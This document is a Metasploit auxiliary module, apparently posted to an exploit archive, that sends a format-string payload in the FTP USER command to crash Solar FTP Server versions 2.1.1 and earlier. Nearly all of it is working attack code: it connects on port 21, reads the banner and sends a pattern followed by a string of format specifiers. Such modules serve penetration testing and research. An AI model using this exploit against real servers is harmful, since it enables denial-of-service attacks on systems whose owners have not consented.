Solar FTP Server Malformed USER Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Solar FTP Server Malformed USER Denial of Service',  
'Description' => %q{  
This module will send a format string as USER to Solar FTP, causing a  
READ violation in function "__output_1()" found in "sfsservice.exe"  
while trying to calculate the length of the string. This vulnerability  
affects versions 2.1.1 and earlier.  
},  
'Author' =>  
[  
'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit  
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission  
'sinn3r', # Metasploit edit/commit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '16204' ],  
],  
'DisclosureDate' => '2011-02-22'))  
  
register_options(  
[  
Opt::RPORT(21)  
])  
end  
  
def run  
connect  
  
banner = sock.get_once(-1, 10) || ''  
print_status("Banner: #{banner.strip}")  
  
buf = Rex::Text.pattern_create(50)  
buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"  
print_status("Sending format string...")  
sock.put("USER #{buf}\r\n")  
  
disconnect  
end  
end  
`